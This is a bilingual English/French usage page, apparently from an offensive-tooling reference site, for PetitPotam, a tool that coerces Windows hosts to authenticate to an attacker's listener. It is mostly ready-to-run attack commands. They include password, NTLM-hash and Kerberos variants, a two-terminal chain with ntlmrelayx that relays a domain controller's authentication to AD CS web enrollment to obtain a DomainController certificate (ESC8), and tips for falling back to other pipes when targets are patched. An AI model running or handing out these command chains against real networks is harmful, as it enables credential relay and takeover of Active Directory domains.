PetitPotam
Force un hôte Windows à s'authentifier vers un listener contrôlé par l'attaquant via le named pipe MS-EFSRPC, le moyen classique d'alimenter une attaque de relayage NTLM contre un contrôleur de domaine. Coerces a Windows host into authenticating to an attacker-controlled listener via the MS-EFSRPC named pipe, the classic way to feed an NTLM relay attack against a domain controller.
↗ https://github.com/topotam/PetitPotamOverview
PetitPotam coerces a Windows host into authenticating to a listener the attacker controls, by abusing the MS-EFSRPC EfsRpcOpenFileRaw (and related) RPC calls over the lsarpc named pipe. It’s the classic way to force a domain controller to authenticate somewhere useful for an NTLM relay attack, most famously against AD CS web enrollment (ESC8).
Basic Usage
Coerce authentication from a target to a listener
python3 PetitPotam.py -u user -p 'password' -d domain.local <LISTENER_IP> <TARGET_IP>
With an NTLM hash instead of a password
python3 PetitPotam.py -u user -hashes :NTLMhash -d domain.local <LISTENER_IP> <TARGET_IP>
With Kerberos authentication
python3 PetitPotam.py -k -no-pass -dc-ip <DC_IP> <LISTENER_IP> <TARGET_IP>
Try every named pipe instead of just lsarpc
python3 PetitPotam.py -u user -p 'password' -d domain.local -pipe all <LISTENER_IP> <TARGET_IP>
Combined Attack: PetitPotam + ntlmrelayx (AD CS ESC8)
Terminal 1: relay incoming NTLM to the CA’s web enrollment
ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp --adcs --template DomainController
Terminal 2: coerce the domain controller to authenticate to the relay
python3 PetitPotam.py -u user -p 'password' -d domain.local <ATTACKER_IP> <DC_IP>
Tips
- Some pipes still work unauthenticated against unpatched targets, but most modern DCs need
-u/-p/-d. - If
lsarpcis patched or blocked,-pipe allfalls back to other vulnerable pipes (efsr,lsass,samr,netlogon, …). - Pair with
ntlmrelayx.pytargeting a CA’s/certsrvendpoint for the classic ESC8 chain.
Help / Man page
usage: PetitPotam.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes LMHASH:NTHASH]
[-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address]
[-pipe {lsarpc,efsr,samr,lsass,netlogon,all}] listener target
positional arguments:
listener ip address or hostname of the listener (attacker-controlled)
target ip address or hostname of the target
options:
-u, --username valid username
-p, --password valid password (asked interactively if omitted)
-d, --domain valid domain name
-hashes LMHASH:NTHASH NT/LM hashes (LM hash can be empty)
-no-pass don't ask for password (useful with -k)
-k use Kerberos authentication (grabs credentials from ccache file)
-dc-ip ip address domain controller IP, used to build the Kerberos AP-REQ
-target-ip ip address IP of the target machine, if different from target
-pipe named pipe to use (default: lsarpc), or "all"
Vue d’ensemble
PetitPotam force un hôte Windows à s’authentifier vers un listener contrôlé par l’attaquant, en abusant des appels RPC EfsRpcOpenFileRaw (et apparentés) de MS-EFSRPC via le named pipe lsarpc. C’est le moyen classique de forcer un contrôleur de domaine à s’authentifier quelque part d’utile pour une attaque de relayage NTLM, le plus souvent contre l’inscription web d’AD CS (ESC8).
Utilisation de base
Forcer l’authentification d’une cible vers un listener
python3 PetitPotam.py -u user -p 'password' -d domain.local <LISTENER_IP> <TARGET_IP>
Avec une empreinte NTLM à la place d’un mot de passe
python3 PetitPotam.py -u user -hashes :NTLMhash -d domain.local <LISTENER_IP> <TARGET_IP>
Avec l’authentification Kerberos
python3 PetitPotam.py -k -no-pass -dc-ip <DC_IP> <LISTENER_IP> <TARGET_IP>
Essayer tous les named pipes plutôt que seulement lsarpc
python3 PetitPotam.py -u user -p 'password' -d domain.local -pipe all <LISTENER_IP> <TARGET_IP>
Attaque combinée : PetitPotam + ntlmrelayx (AD CS ESC8)
Terminal 1 : relayer le NTLM entrant vers l’inscription web de la CA
ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp --adcs --template DomainController
Terminal 2 : forcer le contrôleur de domaine à s’authentifier vers le relais
python3 PetitPotam.py -u user -p 'password' -d domain.local <ATTACKER_IP> <DC_IP>
Conseils
- Certains pipes fonctionnent encore sans authentification contre des cibles non patchées, mais la plupart des DC modernes nécessitent
-u/-p/-d. - Si
lsarpcest patché ou bloqué,-pipe allretombe sur d’autres pipes vulnérables (efsr,lsass,samr,netlogon, …). - Combinez avec
ntlmrelayx.pyciblant le point de terminaison/certsrvd’une CA pour la chaîne ESC8 classique.
Aide / Page de manuel
usage: PetitPotam.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes LMHASH:NTHASH]
[-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address]
[-pipe {lsarpc,efsr,samr,lsass,netlogon,all}] listener target
positional arguments:
listener ip address or hostname of the listener (attacker-controlled)
target ip address or hostname of the target
options:
-u, --username valid username
-p, --password valid password (asked interactively if omitted)
-d, --domain valid domain name
-hashes LMHASH:NTHASH NT/LM hashes (LM hash can be empty)
-no-pass don't ask for password (useful with -k)
-k use Kerberos authentication (grabs credentials from ccache file)
-dc-ip ip address domain controller IP, used to build the Kerberos AP-REQ
-target-ip ip address IP of the target machine, if different from target
-pipe named pipe to use (default: lsarpc), or "all"